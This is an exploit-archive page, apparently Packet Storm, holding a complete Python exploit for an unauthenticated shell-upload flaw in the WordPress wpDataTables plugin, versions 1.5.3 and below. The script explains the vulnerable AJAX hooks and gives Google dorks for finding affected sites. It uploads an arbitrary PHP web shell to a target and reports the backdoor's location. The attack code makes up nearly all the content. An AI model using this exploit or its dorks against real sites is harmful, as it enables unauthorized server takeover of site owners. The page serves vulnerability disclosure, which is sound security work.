what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress wpDataTables 1.5.3 Shell Upload

WordPress wpDataTables 1.5.3 Shell Upload
Posted Nov 23, 2014
Authored by Claudio Viviani

WordPress wpDataTables versions 1.5.3 and below suffer from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | 4c0eecc8ed8af779770866bde670598a67953b0d2cf85eb5d22da1857bc1698c

WordPress wpDataTables 1.5.3 Shell Upload

Change Mirror Download
#!/usr/bin/python
#
# Exploit Name: Wordpress wpDataTables 1.5.3 and below Unauthenticated Shell Upload Vulnerability
#
# Vulnerability discovered by Claudio Viviani
#
# Date : 2014-11-22
#
# Exploit written by Claudio Viviani
#
# Video Demo: https://www.youtube.com/watch?v=44m4VNpeEVc
#
# --------------------------------------------------------------------
#
# Issue n.1 (wpdatatables.php)
#
# This function is always available without wpdatatables edit permission:
#
# function wdt_upload_file(){
# require_once(PDT_ROOT_PATH.'lib/upload/UploadHandler.php');
# $uploadHandler = new UploadHandler();
# exit();
# }
# ...
# ...
# ...
# add_action( 'wp_ajax_wdt_upload_file', 'wdt_upload_file' );
# add_action( 'wp_ajax_nopriv_wdt_upload_file', 'wdt_upload_file' );
#
#
# Issue n.2 (lib/upload/UploadHandler.php)
#
# This php script allows you to upload any type of file
#
# ---------------------------------------------------------------------
#
# Dork google: inurl:/plugins/wpdatatables
# inurl:codecanyon-3958969
# index of "wpdatatables"
# index of "codecanyon-3958969"
#
# Tested on BackBox 3.x
#
#
# http connection
import urllib, urllib2, sys, re
# Args management
import optparse
# file management
import os, os.path

# Check url
def checkurl(url):
if url[:8] != "https://" and url[:7] != "http://":
print('[X] You must insert http:// or https:// procotol')
sys.exit(1)
else:
return url

# Check if file exists and has readable
def checkfile(file):
if not os.path.isfile(file) and not os.access(file, os.R_OK):
print '[X] '+file+' file is missing or not readable'
sys.exit(1)
else:
return file

# Create multipart header
def create_body_sh3ll_upl04d(payloadname):

getfields = dict()

payloadcontent = open(payloadname).read()

LIMIT = '----------lImIt_of_THE_fIle_eW_$'
CRLF = '\r\n'

L = []
for (key, value) in getfields.items():
L.append('--' + LIMIT)
L.append('Content-Disposition: form-data; name="%s"' % key)
L.append('')
L.append(value)

L.append('--' + LIMIT)
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('files[]', payloadname))
L.append('Content-Type: application/force-download')
L.append('')
L.append(payloadcontent)
L.append('--' + LIMIT + '--')
L.append('')
body = CRLF.join(L)
return body

banner = """
___ ___ __
| Y .-----.----.--| .-----.----.-----.-----.-----.
|. | | _ | _| _ | _ | _| -__|__ --|__ --|
|. / \ |_____|__| |_____| __|__| |_____|_____|_____|
|: | |__|
|::.|:. |
`--- ---'
___ ___ ______ __ _______ __ __
| Y .-----| _ \ .---.-| |_.---.-| .---.-| |--| .-----.-----.
|. | | _ |. | \| _ | _| _ |.| | | _ | _ | | -__|__ --|
|. / \ | __|. | |___._|____|___._`-|. |-|___._|_____|__|_____|_____|
|: |__| |: 1 / |: |
|::.|:. | |::.. . / |::.|
`--- ---' `------' `---'

Sh311 Upl04d Vuln3r4b1l1ty
<= 1.5.3

Written by:

Claudio Viviani

http://www.homelab.it

info@homelab.it
homelabit@protonmail.ch

https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""

commandList = optparse.OptionParser('usage: %prog -t URL -f FILENAME.PHP [--timeout sec]')
commandList.add_option('-t', '--target', action="store",
help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
)
commandList.add_option('-f', '--file', action="store",
help="Insert file name, ex: shell.php",
)
commandList.add_option('--timeout', action="store", default=10, type="int",
help="[Timeout Value] - Default 10",
)

options, remainder = commandList.parse_args()

# Check args
if not options.target or not options.file:
print(banner)
commandList.print_help()
sys.exit(1)

payloadname = checkfile(options.file)
host = checkurl(options.target)
timeout = options.timeout

print(banner)

url_wpdatatab_upload = host+'/wp-admin/admin-ajax.php?action=wdt_upload_file'

content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'

bodyupload = create_body_sh3ll_upl04d(payloadname)

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'content-type': content_type,
'content-length': str(len(bodyupload)) }

try:
req = urllib2.Request(url_wpdatatab_upload, bodyupload, headers)
response = urllib2.urlopen(req)

read = response.read()

if "error" in read or read == "0":
print("[X] Upload Failed :(")
else:
backdoor_location = re.compile('\"url\":\"(.*?)\",\"').search(read).group(1)
print("[!] Shell Uploaded")
print("[!] Location: "+backdoor_location.replace("\\",""))
except urllib2.HTTPError as e:
print("[X] Http Error: "+str(e))
except urllib2.URLError as e:
print("[X] Connection Error: "+str(e))
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close